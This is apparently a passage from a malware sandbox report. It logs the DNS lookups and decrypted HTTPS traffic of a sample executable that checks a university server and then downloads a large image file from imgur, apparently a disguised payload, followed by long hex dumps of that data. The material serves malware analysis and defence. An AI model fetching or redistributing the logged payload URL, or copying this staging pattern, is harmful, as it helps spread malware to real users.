Nov 17, 2023 06:22:22.378773928 CET	192.168.2.5	1.1.1.1	0x4dac	Standard query (0)	i.imgur.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 17, 2023 06:22:20.579994917 CET	1.1.1.1	192.168.2.5	0xd103	No error (0)	app.physics.wisc.edu		128.104.160.19	A (IP address)	IN (0x0001)	false
Nov 17, 2023 06:22:22.531732082 CET	1.1.1.1	192.168.2.5	0x4dac	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2023 06:22:22.531732082 CET	1.1.1.1	192.168.2.5	0x4dac	No error (0)	ipv4.imgur.map.fastly.net		151.101.200.193	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

app.physics.wisc.edu

i.imgur.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49704	128.104.160.19	443	C:\Users\user\Desktop\XtDhwVrVKn.exe

Timestamp	Direction	Data
2023-11-17 05:22:21 UTC	OUT	GET /backup-status/rxp2.hep.wisc.edu.txt HTTP/1.1 User-Agent: concessionary Host: app.physics.wisc.edu
2023-11-17 05:22:21 UTC	IN	HTTP/1.1 200 OK Date: Fri, 17 Nov 2023 05:22:21 GMT Server: Apache/2.4.56 (Debian) Last-Modified: Thu, 01 Sep 2022 21:06:12 GMT ETag: "ac-5e7a3fbb23900" Accept-Ranges: bytes Content-Length: 172 Cache-Control: max-age=59 Expires: Fri, 17 Nov 2023 05:23:20 GMT Vary: Accept-Encoding Connection: close Content-Type: text/plain
2023-11-17 05:22:21 UTC	IN	Data Raw: 54 68 75 20 53 65 70 20 20 31 20 31 36 3a 30 36 3a 31 32 20 43 44 54 20 32 30 32 32 0a 72 78 70 32 2e 68 65 70 2e 77 69 73 63 2e 65 64 75 20 6c 61 73 74 20 62 61 63 6b 65 64 20 75 70 20 32 34 37 20 64 61 79 28 73 29 20 61 67 6f 2e 0a 20 28 27 30 20 64 61 79 73 27 20 6d 65 61 6e 73 20 6c 65 73 73 20 74 68 61 6e 20 6f 6e 65 20 64 61 79 2e 29 20 0a 0a 57 69 6c 6c 20 73 65 6e 64 20 77 61 72 6e 69 6e 67 20 65 6d 61 69 6c 20 69 66 20 6e 6f 74 20 62 61 63 6b 65 64 20 75 70 20 61 66 74 65 72 20 35 20 64 61 79 73 2e 0a Data Ascii: Thu Sep 1 16:06:12 CDT 2022rxp2.hep.wisc.edu last backed up 247 day(s) ago. ('0 days' means less than one day.) Will send warning email if not backed up after 5 days.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49705	128.104.160.19	443	C:\Users\user\Desktop\XtDhwVrVKn.exe

Timestamp	kBytes transferred	Direction	Data
2023-11-17 05:22:21 UTC	0	OUT	GET /backup-status/rxp2.hep.wisc.edu.txt HTTP/1.1 User-Agent: concessionary Host: app.physics.wisc.edu
2023-11-17 05:22:22 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 17 Nov 2023 05:22:22 GMT Server: Apache/2.4.56 (Debian) Last-Modified: Thu, 01 Sep 2022 21:06:12 GMT ETag: "ac-5e7a3fbb23900" Accept-Ranges: bytes Content-Length: 172 Cache-Control: max-age=59 Expires: Fri, 17 Nov 2023 05:23:21 GMT Vary: Accept-Encoding Connection: close Content-Type: text/plain
2023-11-17 05:22:22 UTC	1	IN	Data Raw: 54 68 75 20 53 65 70 20 20 31 20 31 36 3a 30 36 3a 31 32 20 43 44 54 20 32 30 32 32 0a 72 78 70 32 2e 68 65 70 2e 77 69 73 63 2e 65 64 75 20 6c 61 73 74 20 62 61 63 6b 65 64 20 75 70 20 32 34 37 20 64 61 79 28 73 29 20 61 67 6f 2e 0a 20 28 27 30 20 64 61 79 73 27 20 6d 65 61 6e 73 20 6c 65 73 73 20 74 68 61 6e 20 6f 6e 65 20 64 61 79 2e 29 20 0a 0a 57 69 6c 6c 20 73 65 6e 64 20 77 61 72 6e 69 6e 67 20 65 6d 61 69 6c 20 69 66 20 6e 6f 74 20 62 61 63 6b 65 64 20 75 70 20 61 66 74 65 72 20 35 20 64 61 79 73 2e 0a Data Ascii: Thu Sep 1 16:06:12 CDT 2022rxp2.hep.wisc.edu last backed up 247 day(s) ago. ('0 days' means less than one day.) Will send warning email if not backed up after 5 days.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49706	151.101.200.193	443	C:\Users\user\Desktop\XtDhwVrVKn.exe

Timestamp	kBytes transferred	Direction	Data
2023-11-17 05:22:23 UTC	1	OUT	GET /z0gTiQ2.png HTTP/1.1 Connection: Keep-Alive Host: i.imgur.com
2023-11-17 05:22:23 UTC	1	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4286721 Content-Type: image/png Last-Modified: Wed, 15 Nov 2023 22:08:12 GMT ETag: "26c5c03f2ca7287a5e4fead301945e8c" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: 84ZF8XKuEU0IDgTYm1du54aGKNxduJRyFopaHvLYGkd2Op0b40qZhA== cache-control: public, max-age=31536000 Accept-Ranges: bytes Date: Fri, 17 Nov 2023 05:22:23 GMT Age: 112451 X-Served-By: cache-iad-kjyo7100134-IAD, cache-pao-kpao1770035-PAO X-Cache: Miss from cloudfront, HIT, MISS X-Cache-Hits: 30, 0 X-Timer: S1700198543.178831,VS0,VE352 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2023-11-17 05:22:23 UTC	2	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c8 00 00 00 c8 08 06 00 00 00 ad 58 ae 9e 00 00 20 00 49 44 41 54 78 01 ec 5d 07 80 5d 45 b9 9e ed bd a5 f7 42 0a 09 49 80 84 16 3a 21 74 04 0b 82 14 51 29 8a 4f 51 f0 e9 43 45 50 01 15 14 10 d0 17 01 05 c5 27 28 5d 41 9a 02 49 80 08 a4 50 42 49 cf a6 f7 ec 6e b6 f7 dd f7 7d 33 e7 bf 67 ce b9 e7 dc b2 25 8d 3b bb 73 67 ce 9c a9 ff fc df fc d3 4f 5a 67 67 a7 4a a9 14 05 52 14 08 a6 40 7a b0 73 ca 35 45 81 14 05 48 81 4c 9b 0c 2f bf fc b2 fd 98 90 fd b8 e3 8e 4b c8 df 27 d1 d3 c2 85 0b 47 a2 dc 7d a0 0f 4c 4b 4b 1b 02 b3 2f cc fe 30 07 42 53 4d 84 8e d4 01 de 69 47 f9 f1 49 f7 26 b8 af 74 de 6d c1 bb 0a d8 77 c0 dc 0a 73 29 74 c5 11 47 1c b1 d1 79 9f 32 12 a4 40 5e 5e 5e 4c 9f 91 ca 89 e9 2b f5 32 26 Data Ascii: PNGIHDRX IDATx]]EBI:!tQ)OQCEP'(]AIPBIn}3g%;sgOZggJR@zs5EHL/K'G}LKK/0BSMiGI&tmws)tGy2@^^^L+2&
2023-11-17 05:22:23 UTC	18	IN	Data Raw: f4 34 62 68 89 6e e9 45 6a b8 61 18 87 a9 e0 44 4d a1 09 e3 20 38 38 ee a0 c9 2f cc fe f2 3e d4 01 af e9 d1 d3 b9 94 1c 90 ce 11 e9 11 94 8e 9d 93 d8 76 29 af 2b 1b 9e 3c 00 00 20 00 49 44 41 54 c6 a5 79 ea 5f 70 91 06 7e 0f 41 00 8b 89 63 00 63 c6 51 06 5f 70 99 8e 4c 70 c1 06 5f 72 93 07 1f 71 91 48 5f 1f 91 06 2b 70 f4 06 2f 70 f0 06 df 14 91 51 5f 19 91 7c 5f 54 f3 74 5f 5c e7 06 6d 73 35 0a 5f 55 c1 06 1e 70 c1 06 5d 34 91 08 0b 7d 91 00 7a 62 db 80 5f 55 e6 6f 31 70 f5 6f 2d 55 cd 55 26 03 91 72 3a 1d a2 34 03 00 fd a6 3e 5e f5 6a 33 b8 a0 0e df 71 91 e0 a3 28 91 42 5b 29 91 06 12 11 ff 7f 1c 11 fc 28 a7 15 e9 63 20 0e ee 06 60 70 ae 06 60 70 90 10 5f 33 e3 67 2c 18 c3 76 5d 04 93 92 74 60 90 06 5f 7d 91 07 1f 7e 9a 06 67 7c 9a 06 5f 1c 46 24 5f ee Data Ascii: 4bhnEjaDM 88/>v)+< IDATy_p~AccQ_pLp_rqH_+p/pQ_\|_Tt_\ms5_Up]4}zb_Uo1po-UU&r:4>^j3q(B[)(c `p`p_3g,v]t`_}~g\|_F$_
2023-11-17 05:22:23 UTC	34	IN	Data Raw: 03 fc 60 0c 6d ee 78 09 1a 5f e3 8d ae 2f 2d 02 1a 83 aa 59 91 43 a0 21 06 c7 6c 50 e7 5f e5 8d 9a 04 d6 13 15 0e 0e 01 03 53 f9 81 5b 3f 05 99 ee 17 c6 10 15 ff 2d a8 06 50 c7 97 55 08 20 1c 78 5f 72 c6 ee 80 ca 6e f9 06 70 c8 8d 12 8c 1a de 0c 98 91 61 81 8f 6e 09 e8 7e c0 e6 08 23 c1 ee bc f0 90 66 5e 90 d1 16 0c 98 de ba ce 15 ce 46 04 7d a1 78 57 11 94 d6 56 23 1a 5b 47 70 c7 8d 2a 60 1c 02 41 27 80 b6 50 68 79 2c 9f 73 1a 3b 37 53 41 70 6d 77 d4 16 09 20 fe 8d 1a d4 81 55 ef 7d 92 c0 ef 21 46 56 5c 70 12 c2 7f 8f e4 1e b7 8e d9 bd a0 8f 01 52 02 b3 60 84 4f f0 66 f9 a0 f1 7d 76 56 c8 13 22 b3 78 a1 14 da 8c c1 06 0c 26 99 8d ea 74 31 07 08 fb 2c fe 5c 90 91 76 25 f9 d4 b2 b7 b8 4a 27 7e 61 01 ee 91 c4 d3 21 55 f5 91 f0 99 35 39 07 2b 34 7a 90 63 50 Data Ascii: `mx_/-YC!lP_S[?-PU x_rnpan~#f^F}xWV#[Gp*`A'Phy,s;7SApmw U}!FV\pR`Of}vV"x&t1,\v%J'~a!U59+4zcP
2023-11-17 05:22:23 UTC	50	IN	Data Raw: d6 5f 77 e7 25 d2 36 91 02 d4 38 95 8d 56 20 c0 66 d2 3d 2d ee 84 50 83 77 5f a7 12 46 5d f2 17 f0 e7 8f 6e 55 5f 70 15 6e b7 40 9c c1 1a d4 75 66 5f 70 18 5b f7 8f 84 ee 7c 71 95 04 64 a0 2c aa 2a 21 1a 4b 75 94 70 13 5c a2 d9 d2 fe 70 69 62 0a d1 91 ea fe 70 7c a4 5f 98 30 06 bd 49 31 06 6c b0 4c 2c 6e 67 41 2c 4a 21 9c d7 75 1c 51 06 8f f1 90 55 35 73 51 55 0c 1a c1 6e 8f 90 97 16 30 72 75 c2 59 a8 e5 95 66 2e ad 06 d6 2d 61 8f 02 90 18 5b df b4 18 5b 97 7f 15 df be 4c d5 40 67 80 02 c0 6b 26 a1 0d e3 64 79 10 1b 7c 83 45 53 a0 79 00 c9 09 a1 0e 2f e0 14 37 ca 20 c7 86 50 60 99 f9 4a 84 b1 3a 64 b3 c8 06 06 04 9c 8b 11 80 79 40 96 c0 98 ef 6c b1 fb 43 d7 80 e6 d6 71 12 c1 b6 c0 74 b5 ca 5f 78 21 94 bf 68 6e 13 a7 84 93 76 96 7f 15 f7 ce 40 b9 56 35 71 Data Ascii: _w%68V f=-Pw_F]nU_pn@uf_p[\|qd,*!Kup\pibp\|_0I1lL,ngA,J!uQU5sQUn0ruYf.-a[[L@gk&dy\|ESy/7 P`J:dy@lCqt_x!hnv@V5q
2023-11-17 05:22:23 UTC	66	IN	Data Raw: 07 69 b3 d1 f9 2b 54 95 ee 0d f0 9e f1 5f a8 8a c6 a8 a8 c8 4e 9c 73 13 75 5a 70 c6 50 0c 43 6e 8d 5f 34 b5 12 54 b0 ec 12 18 70 1a 52 7b 60 66 de a8 aa 41 85 87 70 18 86 56 f9 91 01 df 7d bb 1a da 7d 89 81 52 6c 11 0b 47 7b 11 c6 2a 68 1a 4a 7b 68 10 19 1f 43 43 f1 ae fb 49 86 5b 60 a0 86 5c a3 7a 47 df 75 10 0a 0b 54 93 12 de 79 40 ed 8e a9 40 ec 1f a1 49 0d 84 05 65 86 50 80 d1 f1 3b 54 8d 8d 97 f0 9d 1e df 87 77 05 8e 02 9f 3d df 63 b1 71 57 02 96 3d df 65 e7 07 5f 3e a2 d4 d4 b6 de 73 58 70 66 dc a8 a8 12 dc 5f 2b f1 58 00 b2 81 06 dc 27 91 1f 57 61 91 2a 4f 7b 59 86 5d 7c e4 0f 4e f0 96 02 a8 91 91 09 0c 87 70 23 5d 4f 99 06 72 64 92 85 5b 91 92 8a 8c 2b d7 08 5c 70 12 3b 3b f0 dd 06 5f 04 bc 53 d4 9c 12 ea 5f 78 12 e2 a7 ad 8d 22 ad 30 9e 2a 5b 54 Data Ascii: i+T_NsuZpPCn_4TpR{`fApV}}RlG{hJ{hCCI[`\zGuTy@@IeP;Tw=cqW=e_>sXpf_+X'WaO{Y]\|Np#]Ord[+\p;;_S_x"0*[T
2023-11-17 05:22:23 UTC	82	IN	Data Raw: 48 3e ea fc 57 5e 69 c3 1d 0d 77 91 1b ed 70 b1 40 36 02 e2 72 3c 76 91 13 fd 74 81 0b 0a 1e f9 34 5b 14 b7 2f ec a0 90 56 4c 70 51 b2 7b b3 93 4f ee 7c d1 55 26 03 e5 63 32 61 a3 06 49 da ce 18 9f 6b 81 36 59 1c f4 52 a3 19 fc a6 44 b3 93 b7 5f f0 12 d7 5c 11 93 96 1e 14 f5 74 5e 51 91 bb e6 69 52 a6 58 30 99 61 3a 70 4e 37 49 51 95 0e 0f 1f f8 e7 5e 70 91 2c 5b 79 e6 02 0b 1f 44 03 5f 70 1c 02 c4 82 ac e4 4c 7f c9 01 0f 5d f0 6a 39 72 d3 5e 2e 77 c5 63 32 00 a9 17 05 d1 a4 07 0f 11 e5 6e af 70 45 97 53 43 60 07 7e 42 91 d6 8a 70 c0 08 2d 1d 83 67 5e 61 d3 7f 7b 6b 91 0c 5c 70 dc 67 2f 26 f8 63 28 3f cb 60 cd 77 e8 7e 44 e0 90 76 2c 50 76 01 ad 59 10 0e ec 7a d0 02 0a 1e fc 03 25 73 f7 34 57 19 f2 6d 1c 1f 93 73 4e 59 da 43 0d 3e d4 4a 1b 43 a3 24 1d 70 Data Ascii: H>W^iwp@6r<vt4[/VLpQ{O\|U&c2aIk6YRD_\t^QiRX0a:pN7IQ^p,[yD_pL]j9r^.wc2npESC`~Bp-g^a{k\pg/&c(?`w~Dv,PvYz%s4WmsNYC>JC$p
2023-11-17 05:22:23 UTC	98	IN	Data Raw: 6d 9c bf 11 6c 8b 38 91 1e 73 0b 88 28 6f 55 87 44 7c 74 3f 6a 30 17 fe ed 51 06 87 75 3d 72 b0 0f 6b f3 5f 2b 6f 5b 11 36 76 d0 b6 a6 7a f6 34 00 5e 3e 5c 76 3c 11 a2 2b 38 45 54 04 92 44 39 c7 77 40 b7 b9 9e d2 50 a5 1e 15 91 cd 49 40 85 00 94 72 d9 ca 4d 58 50 05 4e 74 f1 1d fb 6d a1 a6 44 41 88 36 48 f3 ce 16 da 2f 91 4b 0f 3b d8 2b 6d 5d a9 67 5c 79 9f 02 49 74 62 c4 56 b7 ee 06 8c 15 36 c4 82 9c 2a f6 5f 40 98 f5 1c 49 6b 04 f0 78 a2 37 6c c1 50 50 7d 96 a5 06 fb b4 f0 cd 17 c9 90 ab 5f 26 39 62 50 a9 1d 97 9b 70 2a ca 53 95 3c 7c ff 52 91 79 80 37 a9 4c 72 1c 40 06 20 01 8b 7a b3 00 38 b7 5f 80 de e2 50 7c c2 fc 4a 70 cf f8 2b e8 d8 22 da f1 91 20 43 e1 85 41 ef 3c f2 06 d3 cb 30 32 8b b6 d4 ee 5f 7d 14 20 2c 73 41 af d3 70 f5 6b 83 01 03 e0 1a 75 Data Ascii: ml8s(oUD\|t?j0Qu=rk_+o[6vz4^>\v<+8ETD9w@PI@rMXPNtmDA6H/K;+m]g\yItbV6_@Ikx7lPP}_&9bPpS<\|Ry7Lr@ z8_P\|Jp+" CA<02_} ,sApku
2023-11-17 05:22:23 UTC	114	IN	Data Raw: 8b e3 52 97 8b db 72 a1 c7 5f b1 6a 0c 9e 8f 9b 46 9e 88 9b f1 98 70 11 5b d7 70 d0 f9 d7 69 e4 02 d4 b7 91 ed 50 43 51 83 a0 7f 0f 26 9f f3 79 07 7a 91 28 05 33 70 b5 52 d7 31 90 85 9e 73 9a e4 47 d0 86 42 7f 52 c9 09 da 26 5a c6 59 90 9b 4a 9f 6d 81 05 1f 57 91 03 55 30 31 26 0f f1 8b 16 50 f5 84 47 9f 73 cc 59 01 43 51 a2 74 bc ca 03 5f 91 aa 7e b9 4b d0 3d e0 31 aa b8 a4 31 aa a6 75 60 b0 38 7a 5d 5b 3d bf 6f b0 2b 24 af aa c0 64 a1 11 7b 98 4b 71 3e df 73 ad 87 ff 74 d5 53 d4 99 9e a9 5f 6b d1 d7 b7 a1 7b 2d 9a d0 87 5e 1a 50 ac 4f bf 6a dd 72 7b 10 9e 12 08 11 9e e7 4f 90 91 26 fb 4d b9 a4 62 04 85 22 73 90 81 32 2d 7e 9e 82 53 b3 40 18 0f 6e 92 c6 5c a2 30 1a 9f 6b 9a d5 41 45 8f d2 0e 3e d5 22 1b f3 85 c6 5b 80 90 4e f1 6e d1 8b 16 f0 91 09 e8 3d Data Ascii: Rr_jFp[piPCQ&yz(3pR1sGBR&ZYJmWU01&PGsYCQt_~K=11u`8z][=o+$d{Kq>stS_k{-^POjr{O&Mb"s2-~S@n\0kAE>"[Nn=
2023-11-17 05:22:23 UTC	130	IN	Data Raw: ef 97 33 9b 6a bf 73 f5 15 7f 73 a0 2f 0f 20 e0 1a 0c 23 c1 16 0e 22 79 b4 3f 31 12 c2 43 7f 23 17 4f 73 71 15 0e 73 e5 52 d4 c4 b2 15 50 30 8d 6d a9 7b 90 19 d4 21 81 16 09 23 c4 a7 5c 30 c3 56 7f 27 6e 52 7b 20 51 47 d3 1d 80 97 11 3c b5 56 3f 7c b1 8d 1d d3 80 04 de 7a d1 56 0e 61 93 7a 2f 6b 79 4d 37 34 e0 1d 15 01 93 f6 38 50 85 b0 0f 00 93 36 5d 40 91 66 3c 72 f5 87 5b 2f 00 26 1b 74 59 07 cc 6a 60 07 74 80 90 35 1f 9d 14 dd 50 fe 48 b7 44 34 05 22 27 d0 95 1a ee 9c 4c 82 1d 72 90 f7 4e fb d0 02 d4 26 95 09 5f df 54 05 1e 60 9e a9 8a 50 1a 49 5b 73 c7 86 5f bd 92 14 10 a1 8e 42 5c e0 8b 3a 2a 3c 9c 47 5b f1 81 05 bf a6 ba d7 d4 83 81 09 e0 4c 9b e6 45 38 9e b9 d5 49 71 25 17 d1 91 85 9e 72 d3 ca 00 b0 7f 27 5e f0 34 e7 e4 d0 e5 c6 0f 94 58 07 5f 05 Data Ascii: 3jss/ #"y?1C#OsqsRP0m{!#\0V'nR{ QG<V?\|zVaz/kyM748P6]@f<r[/&tYj`t5PHD4"'LrN&_T`PI[s_B\:*<G[LE8Iq%r'^4X_
2023-11-17 05:22:24 UTC	146	IN	Data Raw: c6 2b 5c 1a 16 12 14 48 e8 1f 75 c0 57 d4 90 dc 66 86 6c b5 83 5a b0 90 84 5a e0 c0 54 a0 a0 91 12 d2 d0 f0 0d 5f 3d c9 8d 2a 20 48 e8 dc 70 7d 26 d4 b4 48 c6 86 b1 91 6c 5e a9 53 df 95 ad 89 06 82 28 99 db 07 60 4c 5e 5f 68 1a 43 23 20 fb 06 09 50 c0 8d 10 68 c0 62 18 01 6a 2f df 70 eb bd 1b 49 c2 47 66 4e a2 06 96 43 67 50 0e 43 51 56 5f f3 7d 16 d4 b4 a2 d4 d6 70 81 8d 0a 38 12 cd a0 7b 91 cd d6 00 95 8f 17 78 c3 07 5b 3f 18 5e 53 98 10 48 5f f8 91 ee 65 93 96 18 37 24 23 4f 41 65 51 05 ff 39 f1 19 1f 6a 9e 85 22 70 d5 06 2a 79 c1 ee b2 ca 92 e4 7b 94 81 cf 99 8f 6e 8b fa 72 89 46 5e 2f cf 5d d4 3d f9 16 6c bd 79 10 de e2 54 6a d4 7c 74 5b d5 d7 91 06 35 8f f9 1e 4f 94 99 16 3b b1 a3 06 0f 21 b2 26 3e b3 f3 c2 0f fd b1 83 3b d3 14 c4 9c a9 f1 b7 4f 98 Data Ascii: +\HuWflZZT_=* Hp}&Hl^S(`L^_hC# Phbj/pIGfNCgPCQV_}p8{x[?^SH_e7$#OAeQ9j"p*y{nrF^/]=lyTj\|t[5O;!&>;O
2023-11-17 05:22:24 UTC	162	IN	Data Raw: c7 a1 73 40 fe dc 96 ae 06 dc b6 90 8d 97 7f 3e d8 5f 7f 3e c8 5c 3c b5 46 08 50 a2 f9 a9 f5 51 f6 5e 72 1c 2a 4b f2 e0 2f ef 6a dd c6 71 34 9e 0e db cb 94 84 62 44 12 fe 5e 71 31 00 17 05 d5 85 65 71 9e 02 da a1 61 38 d2 33 6f 83 9f 60 ed 2b b4 78 95 69 cf 7f 27 02 1b 49 f0 39 63 7f 27 02 66 68 18 42 e2 22 c5 76 5f 74 12 c1 5d 72 51 04 64 88 ef db 5c bf 95 ef 8c 71 c8 fe 5c 7f 14 f3 5a c1 e6 04 cc 12 ad 73 2d f3 eb 16 5b 71 e4 6a 1d 75 9e 8a f1 e1 a0 5e 9e 5b 57 37 0f 9b 96 02 59 70 9e b0 0b 41 90 09 e9 31 81 07 d2 74 d3 86 7d 68 9e b0 df 22 90 05 9d 7f 27 17 6b 77 09 08 d2 74 80 3a 2f 71 83 85 2f 73 1d 04 5c 50 c5 4b 57 f3 50 04 2f 78 19 b3 b6 39 c3 0e 55 05 e0 66 58 18 92 73 34 14 96 31 3b 77 62 74 50 7c 27 5e bf 76 a1 01 5c a3 1c 1a 5f 22 9e b0 0e 71 Data Ascii: s@>_>\<FPQ^r*K/jq4bD^q1eqa83o`+xi'I9c'fhB"v_t]rQd\q\Zs-[qju^[W7YpA1t}h"'kwt:/q/s\PKWP/x9UfXs41;wbtP\|'^v\_"q
2023-11-17 05:22:24 UTC	178	IN	Data Raw: 8a 7b 8f 6e 30 a0 f1 f3 83 d9 ae 16 80 de 65 1a 55 5f 60 a2 c6 dc 92 96 8f 1c 30 8d 8f 1c 50 29 05 5f 79 9e 02 da a9 90 0a 24 64 12 e1 58 20 e4 43 d4 e3 93 15 ec 72 0c cc 5f 53 5f 85 be 7e 11 ff 51 70 e4 2b dc 96 7e 85 bd 9f 91 c1 1c 6c 61 6b 5e 60 56 86 1c 50 61 9b 5e 60 18 84 4d f2 18 84 47 b7 d5 22 47 71 11 05 5b 99 a5 86 5d 4b 69 73 66 fb 93 95 5e 7e 15 d6 2b 5f 67 c4 07 60 e5 2c dc 5b 91 01 7f 71 96 1d 06 77 b5 76 fd 70 92 03 41 87 91 04 dc 30 6e 03 21 5a f9 0a 5f 3d f9 86 cf 76 98 16 37 88 9a 06 5d 64 f9 e1 5f 72 bf 86 32 98 ea 06 5f 77 91 85 9b 64 ce 58 04 70 1a e3 02 b2 d1 06 db f3 98 87 6c 04 9d 87 77 0f 90 16 b6 32 25 07 7c 33 8d 56 29 b0 93 ae 3e b0 93 3d 8f 05 de 05 68 73 87 11 0a 76 87 ce 54 66 b3 15 49 79 91 15 bf 50 19 07 4f 9b cf 06 5d e0 Data Ascii: {n0eU_`0P)_y$dX Cr_S_~Qp+~lak^`VPa^`MG"Gq[]Kisf^~+_g`,[qwvpA0n!Z_=v7]d_r2_wdXplw2%\|3V)>=hsvTfIyPO]
2023-11-17 05:22:24 UTC	194	IN	Data Raw: 35 84 ac b9 6a 7b 48 90 a6 66 f0 90 09 c3 50 52 2d 94 4b 9f 07 73 03 9f 36 d6 fc 15 e6 df 42 90 66 9c 0c d3 ad 5f 44 aa c5 2a 6f 11 65 73 70 fb 06 35 71 fb 06 d2 e4 95 22 b3 70 9e 54 0f 98 ba a7 5f 76 91 df 5f f3 55 12 b4 70 93 df b1 a9 8d b8 dc b7 b5 07 64 b0 b9 8a 3a 30 d4 ef b8 a1 50 2a 84 49 cc c6 73 ac 14 79 d8 0d d3 80 de 0d dc 26 d4 f9 13 7b 0a f0 99 8d 9e 87 49 05 8f f0 ac 06 7f fd c5 02 3f fd 15 02 54 31 b1 86 5c 58 51 5f 0f 9b 96 8b 43 d4 b5 c7 52 f0 cb c6 df 7a 48 02 55 e8 53 79 6e f0 be 4a d4 4c 99 57 9f 0f dd 85 95 ba ee c4 9d 0f 46 13 9f 0f 46 c6 20 6b 11 0d 0f f9 85 2c 57 b5 ed c7 58 0c 3d 03 23 05 b4 5f ce 48 d9 a6 de 48 93 86 c6 71 ab 0e 5b a9 7f 47 de 6c 0b 85 9c 71 83 3d 9f 46 1d 22 1e f0 e5 22 47 f1 11 64 a9 0e 88 8d 0a 7c 11 84 5f 73 Data Ascii: 5j{HfPR-Ks6Bf_Doesp5q"pT_v_Upd:0PIsy&{I?T1\XQ_CRzHUSynJLWFF k,WX=#_HHq[Glq=F""Gd\|_s
2023-11-17 05:22:24 UTC	210	IN	Data Raw: 04 64 f2 56 07 ca 0c 11 ef 2a 71 91 a2 5f 25 81 8b 2f 71 12 c4 5e 50 aa f4 50 f3 ad 07 57 2d 85 06 d2 21 90 85 9c 71 aa d5 df f9 c5 22 67 7f 12 21 5d 7a 91 16 64 b3 e3 0d da b0 ec 06 5b 43 51 ed 5c fd d2 f9 ff fb c4 12 64 ba 11 0e 96 f0 99 44 96 f0 99 4c a0 4b 62 06 58 86 d4 06 58 86 91 01 2c 8f 1a 06 41 4b 91 53 4b 02 85 83 8d 0d 9b 40 98 f0 d0 86 cb 70 7a 0c df 6b 12 02 9d 8f 11 2a 47 7f 3e 4b 53 70 9e a9 a8 fb cc 0e d4 a0 91 09 f0 a7 1c 02 55 73 5f a6 d2 7c da 8f 13 f0 ed 4a 5c 7f 91 05 8e fd 95 45 d2 6c c2 06 d4 25 99 05 91 f5 6e 8b bf 44 db 09 d1 ce 10 b9 df 5d 11 17 df 7c ba f6 74 a0 ba de de d9 90 06 d1 68 18 7a 7b 58 7a 08 76 f0 3c a2 7b f1 a4 96 dc df a1 09 27 c7 8d 04 dc ee 10 a9 de d0 11 0e 5c 2c 49 cf de d3 90 b7 5f b1 97 86 ef 44 de 85 4e 31 Data Ascii: dVq_%/q^PPW-!q"g!]zd[CQ\dDLKbXX,AKSK@pzkG>KSpUs_\|J\El%nD]\|thz{Xzv<{'\,I_DN1
2023-11-17 05:22:24 UTC	226	IN	Data Raw: 42 45 a9 d1 da 1e 78 51 43 b0 24 83 98 4e 31 de 86 4e 98 90 56 9d 55 22 17 e4 f1 cb 86 4e 84 d0 5d e9 61 d1 ae 3b f0 1f ca 88 8e 91 a9 57 18 1f 03 9d 28 92 6e 5b f3 99 87 5a 5b 4e 8f 03 54 4f 62 1d 23 93 18 9d 30 c6 55 53 32 87 5a 40 60 e4 b6 b6 54 d1 1c 6c b0 12 02 a0 73 11 19 3f 7f 14 52 5d 3b d0 7f df 05 2c 82 2a f3 56 81 2a 6c 12 9e 2a 74 b0 09 e9 1c 8b 07 1c 52 aa 87 79 b0 ae 42 9f 53 15 26 1a e5 58 de 77 34 28 0e 5f 74 f5 c9 7b 2c 28 0c 5b 90 91 62 bf 70 99 8d 07 74 64 25 73 7c f2 1b 57 2f 9d 59 53 3d 9d a6 56 91 d0 0a 47 fb e9 12 97 77 ce 0a 00 7c 90 40 53 6c 1a 7e 7f a9 d1 22 bc f5 a7 a7 22 1c b5 1a 1a 1c ce 0b 00 7d e0 42 52 7f 14 61 9e 38 b1 a3 3e 49 aa 26 98 7f 1c 41 5c b4 d9 3a 1f 58 1c 7a e4 b3 d9 de 9f 38 8d 8d 4f 2f 69 df 58 b6 d9 41 a3 f3 Data Ascii: BExQC$N1NVU"N]a;W(n[Z[NTOb#0US2Z@`Tls?R];,Vl*tRyBS&Xw4(_t{,([bptd%s\|W/YS=VGw\|@Sl~""}BRa8>I&A\:Xz8O/iXA
2023-11-17 05:22:24 UTC	242	IN	Data Raw: 02 98 fa 97 97 4e 2e 03 21 dc 9c bd f4 f3 dc a1 51 af d1 70 4b 90 90 97 02 6f 70 81 0a 50 f4 b8 97 ca 71 1a d6 5b f1 73 67 c8 f1 6b 06 5f 32 81 44 50 f5 82 56 5e 49 e8 16 67 7f 15 0c df 70 83 7b de 24 e5 2d df f3 69 02 2b 56 f9 6e 1e 4d 04 54 57 ec d0 06 87 20 99 6e 71 c1 be 02 b4 f3 13 0e 00 f3 55 2a 9c 70 c7 85 91 8f a8 72 7b 30 91 73 53 fb d0 1e c6 5b 53 52 8e 88 b1 02 1f 60 90 42 4e 71 85 07 4a 71 d5 53 d4 19 89 3f 33 50 b5 42 50 f3 e7 f7 08 01 85 83 7f 72 d9 d6 67 5c 9e 85 3a 71 90 27 1f 73 aa c1 2b 5f a1 36 2b 5a 30 b6 ea 04 bb 6e 2a 96 96 7e ba 77 f4 86 3c 1f 22 01 02 2e 43 01 cf 72 e4 0e 7b fb 57 53 59 7c 1a c3 84 63 c1 06 bd 70 4d ce 9e f1 48 ee 81 f2 60 d6 4f 40 a2 d4 64 87 61 5d d7 6c ef c0 0e 49 66 de 0c e2 12 44 5b a0 83 46 d4 01 95 17 06 7f Data Ascii: N.!QpKopPq[sgk_2DPV^Igp{$-i+VnMTW nqUpr{0sS[SR`BNqJqS?3PBPrg\:q's+_6+Z0n~w<".Cr{WSY\|cpMH`O@da]lIfD[F
